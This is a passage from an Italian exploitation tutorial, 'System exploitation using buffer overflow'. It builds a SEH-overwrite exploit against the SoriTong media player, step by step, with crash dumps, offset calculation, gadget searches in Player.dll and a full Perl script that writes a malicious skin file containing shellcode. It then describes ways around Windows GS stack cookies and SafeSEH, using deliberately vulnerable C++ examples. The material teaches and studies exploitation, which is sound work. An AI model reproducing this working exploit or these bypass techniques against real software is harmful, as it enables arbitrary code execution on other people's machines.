ERROR_CODE: (NTSTATUS) 0xc0000005 - L'istruzione a "0x%08lx" ha fatto riferimento alla memoria a

"0x%08lx". La memoria non poteva essere "%s".

EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - L'istruzione a "0x%08lx" ha fatto riferimento alla

memoria a "0x%08lx". La memoria non poteva essere "%s".

EXCEPTION_PARAMETER1: 00000001

EXCEPTION_PARAMETER2: 00130000

WRITE_ADDRESS: 00130000

FOLLOWUP_IP:

SoriTong!TmC13_5+3ea3

00422e33 8810 mov byte ptr [eax],dl

NTGLOBALFLAG: 70

APPLICATION_VERIFIER_FLAGS: 0

PRIMARY_PROBLEM_CLASS: INVALID_POINTER_WRITE

BUGCHECK_STR: APPLICATION_FAULT_INVALID_POINTER_WRITE

IP_MODULE_UNLOADED:

ud+41414140

41414141 ?? ???

LAST_CONTROL_TRANSFER: from 41414141 to 00422e33

STACK_TEXT:

WARNING: Stack unwind information not available. Following frames may be wrong.

0012fd38 41414141 41414141 41414141 41414141 SoriTong!TmC13_5+0x3ea3

0012fd3c 41414141 41414141 41414141 41414141 <Unloaded_ud.drv>+0x41414140

...

0012ffa4 41414141 41414141 41414141 41414141 <Unloaded_ud.drv>+0x41414140

0012ffa8 41414141 41414141 41414141 41414141 <Unloaded_ud.drv>+0x41414140

0012ffac 41414141 41414141 41414141 41414141 <Unloaded_ud.drv>+0x41414140

0012ffb0 41414141 41414141 41414141 41414141 <Unloaded_ud.drv>+0x41414140

0012ffb4 41414141 41414141 41414141 41414141 <Unloaded_ud.drv>+0x41414140

0012ffb8 41414141 41414141 41414141 41414141 <Unloaded_ud.drv>+0x41414140

0012ffbc

SYMBOL_STACK_INDEX: 0

SYMBOL_NAME: SoriTong!TmC13_5+3ea3

FOLLOWUP_NAME: MachineOwner

MODULE_NAME: SoriTong

IMAGE_NAME: SoriTong.exe

DEBUG_FLR_IMAGE_TIMESTAMP: 37dee000

Page 164: System exploitation using buffer overflow

System exploitation using buffer overflow

Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 164 di 193

STACK_COMMAND: ~0s ; kb

FAILURE_BUCKET_ID: INVALID_POINTER_WRITE_c0000005_SoriTong.exe!TmC13_5

BUCKET_ID: APPLICATION_FAULT_INVALID_POINTER_WRITE_SoriTong!TmC13_5+3ea3

Followup: MachineOwner

---------

L’handler che viene utilizzato dal programma non inserito dall’applicazione ma è quello del

sistema. Ovvero quello di default. Andiamo a verificare partendo dalla struttura TEB:

0:000> d fs:[0]

003b:00000000 64 fd 12 00 00 00 13 00-00 c0 12 00 00 00 00 00 d...............

003b:00000010 00 1e 00 00 00 00 00 00-00 f0 fd 7f 00 00 00 00 ................

003b:00000020 5c 0c 00 00 34 0d 00 00-00 00 00 00 08 2a 14 00 \...4........*..

003b:00000030 00 50 fd 7f 00 00 00 00-00 00 00 00 00 00 00 00 .P..............

003b:00000040 60 6c 39 e4 00 00 00 00-00 00 00 00 00 00 00 00 `l9.............

003b:00000050 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................

003b:00000060 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................

003b:00000070 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................

0:000> d 0012fd64

0012fd64 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA

0012fd74 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA

0012fd84 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA

0012fd94 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA

0012fda4 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA

0012fdb4 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA

0012fdc4 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA

0012fdd4 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA

In effetti il puntatore rimanda all’interno di una sequenza di caratteri 0x41, “A”.

Per la creazione dell’exploit ci serve sapere l’offset di “next SEH” e di “SE handler”. Comunque

di fatto non cambia molto dai comuni exploit cha abbiamo già affrontato.

Ecco come dovrebbe apparire la nostra stringa di attacco:

Junk buffer Next SEH SE handler Shellcode

First Exception occours

Do

pop pop ret

Opcode to jump over SE

handler

Puts address of next SEH location in EIP, so

opcode gets executed

Shellcode gets executed

Jump

Come per l’esempio precedente recuperiamo il valore dell’offset per gli indirizzi SEH e next

SEH. Per questo possiamo utilizzare il framework metasploit.

Matteo@wsxp /cygdrive/c/Programmi/Rapid7/framework/msf3/tools

$ ./pattern_create.rb 3000

Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1

Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3

Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5

Page 165: System exploitation using buffer overflow

System exploitation using buffer overflow

Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 165 di 193

Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9

. . .

Matteo@wsxp /cygdrive/c/Programmi/Rapid7/framework/msf3/tools

$ ./pattern_offset.rb At6A 2000

588

Per arrivare al SE handler ci sono 588 byte da oltrepassare. Il puntatore next SEH dista invece

588-4 byte.

Ora dobbiamo cercare un indirizzo da sovrascrivere al next SEH in modo da saltare invece alla

shellcode. La sequenza di istruzioni pop – pop – ret esegue questo compito.

Ma cosa fa esattamente?

Quando avviene una eccezione, il dispacher crea il proprio stack, ci sposta anche gli elementi

legati al SE handler. Next SEH dista da ESP +8 byte. Allora:

il primo pop incrementa ESP di 4 byte.

Il secondo pop altri 4.

L’istruzione ret prende il valore corrente di ESP (ovvero l’indirizzo del prossimo SEH che era

localizzato a ESP+8) e lo inserisce in EIP. Allora li si salta a livello esecuzione.

Dobbiamo inserire l’indirizzo di una sequenza pop,pop,ret nel SE handler. Possiamo cercare un

lista di istruzioni di questo tipo in qualsiasi modulo eseguibile caricato in memoria.

L’importante è che sia statico. Ovvero che venga caricato ogni volta allo stesso indirizzo.

Guardiamo tra i moduli eseguibili caricati:

...

ModLoad: 77bb0000 77bc5000 C:\WINDOWS\system32\MSACM32.dll

ModLoad: 77ba0000 77ba7000 C:\WINDOWS\system32\midimap.dll

ModLoad: 10000000 10094000 C:\Program Files\SoriTong\Player.dll

ModLoad: 42100000 42129000 C:\WINDOWS\system32\wmaudsdk.dll

ModLoad: 00f10000 00f5f000 C:\WINDOWS\system32\DRMClien.DLL

...

Player.dll fa per noi.

Ricerchiamo all’interno della dll tale sequenza.

Per farlo possiamo utilizzare l’ottimo strumento “findjmp2”, creato dalla società di sicurezza

informatica eEye. Oppure si può utilizzare msfpescan dal framework di metasploit.

Copiamolo nella directory di lavoro assieme alla dll che intendiamo analizzare e diamo:

$ ./findjmp.exe player.dll edi | grep pop | grep -v "000"

0x100104F8 pop edi - pop - retbis

0x100106FB pop edi - pop - ret

0x1001074F pop edi - pop - retbis

0x10010CAB pop edi - pop - ret

0x100116FD pop edi - pop - ret

0x1001263D pop edi - pop - ret

0x100127F8 pop edi - pop - ret

0x1001281F pop edi - pop - ret

...

0x1001B883 pop edi - pop - ret

0x1001BDBA pop edi - pop - ret

0x1001BDDC pop edi - pop - ret

0x1001BE3C pop edi - pop - ret

0x1001D86D pop edi - pop - ret

0x1001D8F5 pop edi - pop - ret

0x1001E0C7 pop edi - pop - ret

0x1001E812 pop edi - pop – ret

Page 166: System exploitation using buffer overflow

System exploitation using buffer overflow

Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 166 di 193

Scegliamo uno di questi indirizzi.

A questo punto siamo in grado di scrivere l’exploit.

Utilizziamo ancora perl; per il payload utilizziamone uno generico, ad esempio da metasploit,

scarichiamo quello relativo all’esecuzione della calcolatrice di windows calc.exe. Ma prima di

costruire lo script completo; inseriamo a scopo didattico alcuni interrupt in modo da poterci

assicurare l’esatto posizionamento dello shellcode nello stack al momento dell’eccezione. La

prima versione dello script sarà allora come il seguente:

--------- CreateSoriTongExploit.pl ------------------------

$exploit_file = "ui.txt";

# Fill with padding

my $junk= "A" x 584;

# Put an interrupt INT3

my $int= "\xcc\xcc\xcc\xcc";

# Address of pop pop ret sequence

my $ppr= pack('V',0x1001e812);

# Shellcode

my $shellcode= "\x90\x90\x90\x90" x 25;

my $junk2= "A" x 1000;

open(myfile,">$exploit_file");

print myfile $junk.$int.$ppr.$shellcode.$junk2;

close(myfile);

--------- CreateSoriTongExploit.pl END ---------------------

Si noti che la stringa deve essere sufficentemente lunga per generare una una eccezione, questo

giustifica la variabile junk2.

Eseguiamo con wingdb,

Microsoft (R) Windows Debugger Version 6.12.0002.633 X86

Copyright (c) Microsoft Corporation. All rights reserved.

...

ModLoad: 76b00000 76b2e000 C:\WINDOWS\system32\WINMM.dll

ModLoad: 774b0000 775ee000 C:\WINDOWS\system32\OLE32.dll

ModLoad: 770f0000 7717b000 C:\WINDOWS\system32\OLEAUT32.dll

(d20.e44): Break instruction exception - code 80000003 (first chance)

eax=00241eb4 ebx=7ffd6000 ecx=00000001 edx=00000002 esi=00241f48 edi=00241eb4

eip=7c91120e esp=0012fb20 ebp=0012fc94 iopl=0 nv up ei pl nz na po nc

cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202

*** ERROR: Symbol file could not be found. Defaulted to export symbols for ntdll.dll -

ntdll!DbgBreakPoint:

7c91120e cc int 3

0:000> g

ModLoad: 76340000 7635d000 C:\WINDOWS\system32\IMM32.DLL

ModLoad: 773a0000 774a3000 C:\WINDOWS\WinSxS\x86_Microsoft.Windows.Common-

...

ModLoad: 77ba0000 77ba7000 C:\WINDOWS\system32\midimap.dll

ModLoad: 10000000 10094000 C:\Program Files\SoriTong\Player.dll

Page 167: System exploitation using buffer overflow

System exploitation using buffer overflow

Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 167 di 193

ModLoad: 42100000 42129000 C:\WINDOWS\system32\wmaudsdk.dll

...

ModLoad: 76e40000 76e4e000 C:\WINDOWS\system32\rtutils.dll

(d20.e44): Access violation - code c0000005 (first chance)

First chance exceptions are reported before any exception handling.

This exception may be expected and handled.

eax=00130000 ebx=00000003 ecx=00000041 edx=00000041 esi=0017e504 edi=0012fd64

eip=00422e33 esp=0012da14 ebp=0012fd38 iopl=0 nv up ei pl nz ac po nc

cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010212

*** WARNING: Unable to verify checksum for SoriTong.exe

*** ERROR: Symbol file could not be found. Defaulted to export symbols for SoriTong.exe -

SoriTong!TmC13_5+0x3ea3:

00422e33 8810 mov byte ptr [eax],dl ds:0023:00130000=41

0:000> d eip

0012fd64 cc cc cc cc 12 e8 01 10-90 90 90 90 90 90 90 90 ................

0012fd74 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................

0012fd84 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................

0012fd94 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................

0012fda4 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................

0012fdb4 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................

0012fdc4 90 90 90 90 90 90 90 90-90 90 90 90 41 41 41 41 ............AAAA

0012fdd4 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA

Vedete che subito dopo gli interrupt c’è l’indirizzo che abbiamo inserito?

Ora siamo che siamo certi del posizionamento sostituiamo le sequenze di 0xcc con un salto.

--------- CreateSoriTongExploit.pl ------------------------

$exploit_file = "ui.txt";

# Fill with padding

my $junk= "A" x 584;

# jmp 6 bytes

my $nxSEH= "\xeb\x06\x90\x90";

# Address of pop pop ret sequence

my $ppr= pack('V',0x1001e812);

# Shellcode (Execute calc.exe)

my $shellcode=

"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49".

"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36".

"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34".

"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41".

"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x44".

"\x42\x30\x42\x50\x42\x30\x4b\x38\x45\x54\x4e\x33\x4b\x58\x4e\x37".

"\x45\x50\x4a\x47\x41\x30\x4f\x4e\x4b\x38\x4f\x44\x4a\x41\x4b\x48".

"\x4f\x35\x42\x32\x41\x50\x4b\x4e\x49\x34\x4b\x38\x46\x43\x4b\x48".

"\x41\x30\x50\x4e\x41\x43\x42\x4c\x49\x39\x4e\x4a\x46\x48\x42\x4c".

"\x46\x37\x47\x50\x41\x4c\x4c\x4c\x4d\x50\x41\x30\x44\x4c\x4b\x4e".

"\x46\x4f\x4b\x43\x46\x35\x46\x42\x46\x30\x45\x47\x45\x4e\x4b\x48".

"\x4f\x35\x46\x42\x41\x50\x4b\x4e\x48\x46\x4b\x58\x4e\x30\x4b\x54".

"\x4b\x58\x4f\x55\x4e\x31\x41\x50\x4b\x4e\x4b\x58\x4e\x31\x4b\x48".

"\x41\x30\x4b\x4e\x49\x38\x4e\x45\x46\x52\x46\x30\x43\x4c\x41\x43".

"\x42\x4c\x46\x46\x4b\x48\x42\x54\x42\x53\x45\x38\x42\x4c\x4a\x57".

"\x4e\x30\x4b\x48\x42\x54\x4e\x30\x4b\x48\x42\x37\x4e\x51\x4d\x4a".

Page 168: System exploitation using buffer overflow

System exploitation using buffer overflow

Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 168 di 193

"\x4b\x58\x4a\x56\x4a\x50\x4b\x4e\x49\x30\x4b\x38\x42\x38\x42\x4b".

"\x42\x50\x42\x30\x42\x50\x4b\x58\x4a\x46\x4e\x43\x4f\x35\x41\x53".

"\x48\x4f\x42\x56\x48\x45\x49\x38\x4a\x4f\x43\x48\x42\x4c\x4b\x37".

"\x42\x35\x4a\x46\x42\x4f\x4c\x48\x46\x50\x4f\x45\x4a\x46\x4a\x49".

"\x50\x4f\x4c\x58\x50\x30\x47\x45\x4f\x4f\x47\x4e\x43\x36\x41\x46".

"\x4e\x36\x43\x46\x42\x50\x5a";

# A second junk

my $junk2= "A" x 1000;

open(myfile,">$exploit_file");

print myfile $junk.$nxSEH.$ppr.$shellcode.$junk2;

close(myfile);

--------- CreateSoriTongExploit.pl END ---------------------

0x18] (Arch: NT) – Sistemi di sicurezza per Microsoft Windows

Up

Anche per il sistema operativo Microsoft, sono stati introdotti vari sistemi per proteggere la

memoria. Fino ad ora abbiamo visto che sovrascrivendo indirizzi di ritorno o SEH siamo in grado

di eseguire codice su piattaforme windows Xp. Questo è possibile in quanto su questi sistemi

l’indirizzo delle dll e degli eseguibili in memoria rimane lo stesso anche dopo il riavvio della

macchina. Abbiamo però visto che su Linux queste possibilità sono state limitate da nuovi e

sofisticati sistemi di protezione che rendono lo sviluppo di exploit davvero molto più

difficile, molte volte impossibile.

Anche per Microsoft Windows queste limitazioni sono state introdotte, ma a mio parere non hanno

apportato lo stesso livello di limitazione che vale per Linux.

Riassumendole, le seguenti sono le protezioni oggi presenti su i sistemi Microsoft più recenti:

- Stack cookies (canary di controllo nello stack), compilando con ‘/GS’.

- SafeSeh (/SafeSEH compiler switch)

- Data Execution Prevention (DEP) (basato su software e hardware)

- Address Space Layout Randomization (ASLR)

Grosso modo rappresentano sistemi equivalenti a quelli visti per Linux.

- Stack cookies:

Questo sistema inserisce una DWORD dopo il frame pointer sullo stack. Significa che lo stack

appare nel modo seguente:

[buffer][cookie][saved EBP][saved EIP]

Andando a sovrascrivere da buffer si va a corrompere il cookie, questo viene controllato quando

la funzione ritorna e, se corrotto, il programma viene arrestato. Questo permette di evitare

l’esecuzione di shellcode. Ma non ferma la possibilità di creare comunque DoS.

Inoltre, come Propolice, questo sistema riordina le variabili locali inizializzate sullo stack

in modo da sistemare il buffer a valle di tutte le altre variabili locali, evitando che queste

ultime possano venire corrotte. Abbiamo già effettuato una accurata analisi del sistema

Propolice, di fatto questo non cambia.

Se disassembliamo la funzione main del nostro programma sehtest compilato con Visual C++ 2008,

otteniamo il listato seguente:

0:000> uf main

sehtest!main [c:\env\seh\sehtest\sehtest.cpp @ 9]:

9 00401000 55 push ebp

9 00401001 8bec mov ebp,esp

9 00401003 6afe push 0FFFFFFFEh

Page 169: System exploitation using buffer overflow

System exploitation using buffer overflow

Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 169 di 193

9 00401005 6818224000 push offset sehtest!__rtc_tzz+0x68 (00402218)

9 0040100a 68e5174000 push offset sehtest!_except_handler4 (004017e5)

9 0040100f 64a100000000 mov eax,dword ptr fs:[00000000h]

9 00401015 50 push eax

9 00401016 81c4e0fdffff add esp,0FFFFFDE0h

9 0040101c a100304000 mov eax,dword ptr [sehtest!__security_cookie (00403000)]

9 00401021 3145f8 xor dword ptr [ebp-8],eax

9 00401024 33c5 xor eax,ebp

...

18 004010db 5f pop edi

18 004010dc 5e pop esi

18 004010dd 5b pop ebx

18 004010de 8b4de4 mov ecx,dword ptr [ebp-1Ch]

18 004010e1 33cd xor ecx,ebp

18 004010e3 e81d000000 call sehtest!__security_check_cookie (00401105)

18 004010e8 8be5 mov esp,ebp

18 004010ea 5d pop ebp

18 004010eb c3 ret

Se guardate il listato, noterete che dopo il prologo e prima dell’epilogo viene inserita dal

compilatore una procedura che, prima, sistema il cookie a ebp-8, poi ne controlla il valore per

verificarne l’integrità.

Queste sono le istruzioni chiave:

9 0040101c a100304000 mov eax,dword ptr [sehtest!__security_cookie (00403000)]

9 00401021 3145f8 xor dword ptr [ebp-8],eax

...

18 004010e3 e81d000000 call sehtest!__security_check_cookie (00401105)

E’ chiaro che il metodo più ovvio per bypassare la protezione è sfruttare una vulnerabilità

riguardante l’exception handling. Come abbiamo visto poco fa, questo non sfrutta il ritorno

della funzione ma l’SEH.

Ma ci sono altre occasioni in cui è possibile farlo, innanzi tutto non tutti i buffer sono

protetti. Questo perché non sempre si hanno le condizioni necessarie perché il meccanismo possa

essere applicato. Altra possibilità è trovare cookie statici, ovvero sempre uguali, in questo

caso allora basterebbe semplicemente sovrascrivere con il valore corretto, anche se questo è un

caso raro.

Un sistema diverso è invece quello di sfruttare la ‘virtual function call’. Partiamo dal codice

che segue, preso da ‘Alex Soritov and Mark Dowd’s paper from Blackhat 2008’.

Si tratta di codice C++ creato con Visual C++, difatti è proprio una caratteristica del C++

quella che andremo a sfruttare.

--------- gsvitable.cpp ------------------------

#include "stdafx.h"

#include "windows.h"

class Foo {

public:

void __declspec(noinline) gs3(char* src)

{

char buf[8];

strcpy(buf, src);

bar(); // virtual function call

}

virtual void __declspec(noinline) bar()

{

Page 170: System exploitation using buffer overflow

System exploitation using buffer overflow

Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 170 di 193

}

};

int main()

{

Foo foo;

foo.gs3(

"AAAA"

"BBBB"

"CCCC"

"DDDD"

"EEEE"

"FFFF");

return 0;

}

--------- gsvitable.cpp END --------------------

Compiliamo assicurandoci che il compilatore sia stato avviato con il parametro ‘/GS’.

I seguenti devono essere i parametri di compilazione per questo esempio:

‘/Od /GL /D "WIN32" /D "NDEBUG" /D "_CONSOLE" /D "_UNICODE" /D "UNICODE" /FD /EHsc /MD /Gy

/Fo"Release\\" /Fd"Release\vc90.pdb" /W3 /nologo /c /Zi /TP /errorReport:prompt’

Analizziamo il codice sorgente e quello che viene generato.

Prima di tutto, nel sorgente abbiamo definito i due membri di una classe molto semplice, con il

parametro noinline. Questo perché, data la semplicità, il compilatore avrebbe ottimizzato le due

funzioni rendendole inline, quindi non effettuando una vera e propria chiamata.

Ora, con l’aiuto di WinDbg, vediamo dove si trova la vulnerabilità.

Se disassembliamo il membro gs3(), troviamo:

0:000> uf Foo::gs3

gsvitable!Foo::gs3 [c:\env\gsvitable\gsvitable.cpp @ 9]:

9 00401000 83ec0c sub esp,0Ch

9 00401003 a118304000 mov eax,dword ptr [gsvitable!__security_cookie (00403018)]

9 00401008 33c4 xor eax,esp

9 0040100a 89442408 mov dword ptr [esp+8],eax

11 0040100e 33c0 xor eax,eax

gsvitable!Foo::gs3+0x10 [c:\env\gsvitable\gsvitable.cpp @ 11]:

11 00401010 8a90fc204000 mov dl,byte ptr gsvitable!`string' (004020fc)[eax]

11 00401016 40 inc eax

11 00401017 84d2 test dl,dl

11 00401019 75f5 jne gsvitable!Foo::gs3+0x10 (00401010)

gsvitable!Foo::gs3+0x1b [c:\env\gsvitable\gsvitable.cpp @ 12]:

12 0040101b 8b01 mov eax,dword ptr [ecx]

12 0040101d 8b10 mov edx,dword ptr [eax]

12 0040101f ffd2 call edx

13 00401021 8b4c2408 mov ecx,dword ptr [esp+8]

13 00401025 33cc xor ecx,esp

13 00401027 e828000000 call gsvitable!__security_check_cookie (00401054)

13 0040102c 83c40c add esp,0Ch

13 0040102f c3 ret

Una caratteristica del C++, è la capacità di lavorare sui componenti della propria classe da

parte dei membri della classe stessa senza passaggio di questi come argomenti. In realtà si

tratta solo di lavoro fatto all’oscuro del programmatore. Forse non tutti quelli che usano il

Page 171: System exploitation using buffer overflow

System exploitation using buffer overflow

Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 171 di 193

C++, conoscono questo dettaglio.

In realtà infatti, ad ogni membro viene passato un puntatore all’intera classe in modo nascosto.

Il famoso puntatore this, viene passato sempre ad ogni membro come primo argomento in modo non

esplicito, ovvero non visibile. Ma utilizzabile poi dal metodo.

Nel codice di esempio, viene dichiarata una classe ‘foo’. Nella funzione principale l’oggetto

viene inizializzato, poi viene chiamata la funzione gs3() della classe. Questa esegue una

strcpy() che costituisce il problema di sicurezza. Oltre che passare alla funzione gs3 la

stringa da copiare nel buffer, viene passato come parametro anche il puntatore alla classe di

cui abbiamo appena parlato. Ora è chiaro che passando una stringa di lunghezza superiore a 8

byte, si sovrascrive gli elementi che si trovano più in basso rispetto al buffer nello stack, e

dato che this è stato passato come argomento, la copia sovrascrive anche quest’ultimo.

Successivamente nel codice viene chiamata la funzione bar(). Quando questa viene eseguita,

l’esecuzione viene ridiretta nel nostro buffer.

Questo approccio ci permette di bypassare la protezione inserita dal compilatore Microsoft. Dato

che anche sovrascrivendo lo stack e il cookie posizionato prima dello stack pointer, noi

richiamiamo prima la nostra shellcode, in quanto il cookie viene controllato solo al ritorno

della funzione completa.

Disassemblando il codice della classe, vediamo che la chiamata al membro bar() viene fatta

tramite un registro, per calcolare l’offset è sufficiente utilizzare il solito metodo. Poi da

qui si procede con la tecnica standard.

- SafeSeh:

Da partire da windows server 2003, è stata migliorata anche la protezione per i SEH. Come

abbiamo visto prima, attraverso questi è possibile eseguire codice. E’ infatti possibile creare

eccezioni e sovrascrivere gli indirizzi dei gestori con indirizzi arbitrari.

Non lo abbiamo specificato, ma è ovvio che questi sistemi possono essere utilizzati anche per

bypassare la protezione appena vista, quella relativa agli stack cookie.

Con /SafeSEH si ordina al compilatore di inserire controlli ulteriori per la gestione delle

eccezioni. In pratica, gli indirizzi dei gestori vengono controllati prima e dopo l’esecuzione

della funzione. In particolare il sistema effettua i controlli seguenti sull’indirizzo

dell’handler:

- Verifica che tale indirizzo non punti ad una locazione dello stack (utilizza i riferimenti

nella struttura TEB.)

- Verifica che gli handler sono implementati nei moduli caricati in memoria.

- Verifica la catena dei gestori, o meglio verifica che percorrendola si arrivi all’indirizzo

0xffffffff. (“walking the chain”)

Nonostante questo, ci sono dei casi in cui è ancora possibile sfruttare il sistema. Potremmo

inserire la nostra shellcode nell’heap. E utilizzare quindi indirizzi dell’heap per

sovrascrivere l’handler. L’handler sarebbe infatti ritenuto valido e poi chiamato.

Un esempio su cui lavorare:

--------- safeseh.cpp -----------------------

#include "stdafx.h"

#include "stdio.h"

#include "windows.h"

void GetInput(char* str, char* out)

{

char buffer[500];

try

{

Page 172: System exploitation using buffer overflow

System exploitation using buffer overflow

Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 172 di 193

strcpy(buffer,str);

strcpy(out,buffer);

printf("Input received : %s\n",buffer);

}

catch (char * strErr)

{

printf("No valid input received ! \n");

printf("Exception : %s\n",strErr);

}

}

int main(int argc, char* argv[])

{

char buf2[128];

GetInput(argv[1],buf2);

return 0;

}

--------- safeseh.cpp END --------------------

Una delle alternative principali è utilizzare un indirizzo esterno ai moduli caricati.

L’importante è che sia una locazione statica.

Un utile strumento adatto a questo compito è vadump.exe scaricabile gratuitamente dal sito

Microsoft. Oppure l’intera memoria è visibile anche da immunity debugger,

Memory map

Address Size (Decimal) Owner Section Contains Type Access Initial

Mapped as

00010000 00001000 (4096.) 00010000 (itself) Priv RW RW

00020000 00001000 (4096.) 00020000 (itself) Priv RW RW

00125000 00001000 (4096.) 00030000 Priv ??? Guar RW

00126000 0000A000 (40960.) 00030000 stack of mai Priv RW Guar RW

00130000 00003000 (12288.) 00130000 (itself) Map R R

00140000 00001000 (4096.) 00140000 (itself) Map R R

00150000 00003000 (12288.) 00150000 (itself) Priv RW RW

00250000 00006000 (24576.) 00250000 (itself) Priv RW RW

00260000 00003000 (12288.) 00260000 (itself) Map RW RW

00270000 00016000 (90112.) 00270000 (itself) Map R R

\Device\HarddiskVolume1\WINDOWS\system32\unicode.nls

00290000 00041000 (266240.) 00290000 (itself) Map R R

\Device\HarddiskVolume1\WINDOWS\system32\locale.nls

002E0000 00041000 (266240.) 002E0000 (itself) Map R R

\Device\HarddiskVolume1\WINDOWS\system32\sortkey.nls

00330000 00006000 (24576.) 00330000 (itself) Map R R

\Device\HarddiskVolume1\WINDOWS\system32\sorttbls.nls

00340000 00004000 (16384.) 00340000 (itself) Priv RW RW

00350000 00003000 (12288.) 00350000 (itself) Map R R

\Device\HarddiskVolume1\WINDOWS\system32\ctype.nls

00400000 00001000 (4096.) gsvitabl 00400000 (itself) PE header Imag R RWE

00401000 00001000 (4096.) gsvitabl 00400000 .text code Imag R E RWE

00402000 00001000 (4096.) gsvitabl 00400000 .rdata imports Imag R RWE

00403000 00001000 (4096.) gsvitabl 00400000 .data data Imag RW Copy RWE

00404000 00001000 (4096.) gsvitabl 00400000 .rsrc resources Imag R RWE

00405000 00001000 (4096.) gsvitabl 00400000 .reloc relocations Imag R RWE

78520000 00001000 (4096.) MSVCR90 78520000 (itself) PE header Imag R RWE

78521000 00096000 (614400.) MSVCR90 78520000 .text code,imports Imag R E RWE

785B7000 00007000 (28672.) MSVCR90 78520000 .data data Imag RW RWE

785BE000 00001000 (4096.) MSVCR90 78520000 .rsrc resources Imag R RWE

785BF000 00004000 (16384.) MSVCR90 78520000 .reloc relocations Imag R RWE

7C800000 00001000 (4096.) kernel32 7C800000 (itself) PE header Imag R RWE

7C801000 00084000 (540672.) kernel32 7C800000 .text code,imports Imag R E RWE

7C885000 00005000 (20480.) kernel32 7C800000 .data data Imag RW RWE

7C88A000 00071000 (462848.) kernel32 7C800000 .rsrc resources Imag R RWE

7C8FB000 00006000 (24576.) kernel32 7C800000 .reloc relocations Imag R RWE

Page 173: System exploitation using buffer overflow

System exploitation using buffer overflow

Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 173 di 193

7C910000 00001000 (4096.) ntdll 7C910000 (itself) PE header Imag R RWE

7C911000 0007D000 (512000.) ntdll 7C910000 .text code,exports Imag R E RWE

7C98E000 00005000 (20480.) ntdll 7C910000 .data data Imag RW RWE

7C993000 00032000 (204800.) ntdll 7C910000 .rsrc resources Imag R RWE

7C9C5000 00003000 (12288.) ntdll 7C910000 .reloc relocations Imag R RWE

7F6F0000 00007000 (28672.) 7F6F0000 (itself) Map R E R E

7FFB0000 00024000 (147456.) 7FFB0000 (itself) Map R R

7FFD9000 00001000 (4096.) 7FFD9000 (itself) Priv RW RW

7FFDF000 00001000 (4096.) 7FFDF000 (itself) data block o Priv RW RW

7FFE0000 00001000 (4096.) 7FFE0000 (itself) Priv R R

Con Windbg possiamo cercare l’istruzione che ci interessa e utilizzarla per saltare al nostro

shellcode.

Le istruzioni utili a questo scopo possono essere le seguenti oltre la sequenza ‘pop-pop-ret’:

call dword ptr[esp+nn] / jmp dword ptr[esp+nn] / call dword ptr[ebp+nn] / jmp dword

ptr[ebp+nn] / call dword ptr[ebp-nn] / jmp dword ptr[ebp-nn]

La ricerca effettuata sul codice di esempio produce su windows XP SP3, i seguenti risultati:

0:000> s 0100000 l 77fffff ff 55

00277643 ff 55 ff 61 ff 54 ff 57-ff dc ff 58 ff cc ff f3 .U.a.T.W...X....

00280b0b ff 55 30 00 00 00 00 9e-ff 57 30 00 00 00 00 9e .U0......W0.....

